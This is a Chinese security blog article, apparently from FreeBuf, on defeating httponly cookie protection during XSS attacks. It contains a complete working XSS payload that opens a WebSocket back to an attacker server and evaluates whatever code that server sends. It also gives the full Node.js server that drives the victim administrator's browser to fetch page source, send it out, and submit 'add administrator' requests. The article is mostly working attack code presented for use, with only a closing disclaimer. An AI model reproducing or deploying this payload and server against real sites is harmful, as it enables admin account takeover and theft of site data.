freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

httponly扩大成果之Websocket源码映射
2020-08-19 15:09:31

0x00 前言

在黑盒测试的XSS中,谈起httponly确实是一个让人非常头疼的问题,它保护了管理员的cookie信息。笔者感觉分析后台源码然后构造新的XSS的Payload,通过Ajax来添加管理员用户,是一种非常稳的选择。但是这是要考验攻击者的JavaScript水平了,如果Js中再给你来几层有趣的加密,那攻击者就该一步一步解密后再一步一步进行Js审计,而且XSS获取源码只是一次性的,而没有审计到关键的代码等同于此次XSS只能做后续XSS的铺垫,继续XSS,继续等管理员上钩,构造Payload,发送XSS的Payload,再等管理员上钩,想想就头大,白帽子的两行泪流出来了有木有。

那么本篇文章可以让你连Js都不需要去审计,手动Payload更不需要,就可以让管理员轻松发送”添加管理员”的XSS Payload。

0x01 普通的XSS获取源码信息

我们看一下普通XSS获取源码信息的Payload

这是笔者在百度中搜索到的,可以了解到获取源码只是发送ajax请求,然后得到源码给攻击者服务器端。

因为HTTP协议只有发送与接收,如果我们想要一劳永逸(一次XSS即可完成),那么我们不妨利用一下WebSocket。

0x02 WebSocket获取多个页面

那我们放到这里仔细想一想,如果我们通过 WebSocket 让  管理员的浏览器  与  攻击者的服务器  进行一次链接,此时我们扭转身份,让  管理员浏览器  作为  攻击者服务器  的服务端,随后  攻击者服务器  多次要求  管理员浏览器  发送源码,这样是不是就达到了一次XSS多个页面的效果。

什么?还不明白,那看下面这张图。

此时B为WebSocket,A为受害者,C为攻击者,C多次要求A来拿钱(源码)给我,这个时候WebSocket就成为了中间人的身份。它是受害者与攻击者的一个桥梁(脱离了HTTP协议的TCP)。

0x03 WebSocket源码映射思路

既然可以获取多个页面,而我们又不喜欢进行Js审计(这明明是笔者不喜欢),然后手动构造Payload,我们喜欢轻松的感觉。那干脆就在源码上进行fuzz操作吧(本地fuzz毛线啊)。

这里笔者稍微怼一下你们(明明是自娱自乐),笔者先把思维导图贴一下。

也就是说,我们可以获取多个源码信息,然后将目标的所有CSS与JS通过外联的方式引入进来,因为CSS样式与JS对于我们都非常重要。然后本地再去源码中找一下有没有”添加管理员”的功能,因为各种Js与Css都引入进来了,那么就可以发送表单请求。然后我们通过Fuzz找到“添加管理员”功能后,通过fuzz来添加用户,而WebSocket告诉管理员的浏览器:“我要发送一个添加管理员的Ajax请求”。随后管理员浏览器去发送。这样下来连Js审计都不需要了。

0x04 WebSocket源码映射实现

当然了,我们纸上谈兵没有什么用的,下边我们一起实现一下吧~

WebSocket XSS Payload:

<script>
var ws = new WebSocket('ws://127.0.0.1:5555/');   //攻击者的websocket
ws.addEventListener('message', (data) => {
try {
eval(data.data);
}catch(e){
console.log('代码执行错误');
}
});
</script>

这里笔者使用nodeJs编写的服务端。这里其实也有原因的,因为nodeJs支持一个文件多个端口,其次路由可以自由指定,非常舒服。所以笔者这里使用的是nodeJs。

服务端代码:

let ws = require('nodejs-websocket');
let http = require('http');
let url = require('url');
let resStr = '';

let server = ws.createServer(connect => {
connect.send(createString('GET', `'+location.href+'`));
connect.on('text', (data) => {
resStr = data;
});
connect.on('error', () => {});
connect.on('close', () => {});
});
server.listen(5555);

let httpServer = http.createServer((request, response) => {
if(request.url == '/favicon.ico'){
return;
}
response.writeHead(200, {'Content-Type':'text/html;charset=utf8'});
if(url.parse(request.url).pathname == '/heihu577'){
let querystring = url.parse(request.url, true);
let cmd = querystring.query.cmd;
console.log(querystring.query);
if(cmd != ''){
guangbo(cmd);
}
}else if(request.method.toLowerCase() == 'get'){
guangbo(createString('GET', request.url));
response.end(resStr);
}else if(request.method.toLowerCase() == 'post'){
let tmpStr = '';
request.addListener('data', (chunk) => {
tmpStr += chunk;
});
request.addListener('end', () => {
guangbo(createString('POST', request.url, tmpStr));
response.end(resStr);
});
}
response.end('ok');
});
httpServer.listen(6666);

function guangbo(data){
server.connections.forEach(item => {
item.send(data);
});
}

function createString(method, url, options = ''){
switch(method){
case 'GET':
str = `let xml = new XMLHttpRequest();xml.open('${method}', '${url}');xml.send(null);xml.onreadystatechange=function(){if(this.status=='200'&&this.readyState=='4'){ws.send(this.responseText.replace(/<(script|link)(.+?)(href|src)=(["|'])(?!http)(.+?)["|'](.*?)>/gm,\`<$1$2$3=$4\${window.location.protocol+"//"+window.location.host+"/"}$5$4$6>\`));}}`;
break;
case 'POST':
str = `let xml = new XMLHttpRequest();xml.open('${method}', '${url}');xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xml.send('${options}');xml.onreadystatechange=function(){if(this.status=='200'&&this.readyState=='4'){ws.send(this.responseText);}}`;
break;
}
return str;
}

请注意这里引用了nodeJs外部的nodejs-websocket包,使用 npm install nodejs-websocket --save命令安装即可。

这里就随便找一套程序吧,这里笔者使用的程序是HYBBS。因为之前通读完没有删除代码。

映射演示:

这里不知道某些原因,访问要访问的页面需要访问两次。

添加用户测试:

唯一缺点就是,当管理员关闭当前页面则源码无法获取。

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录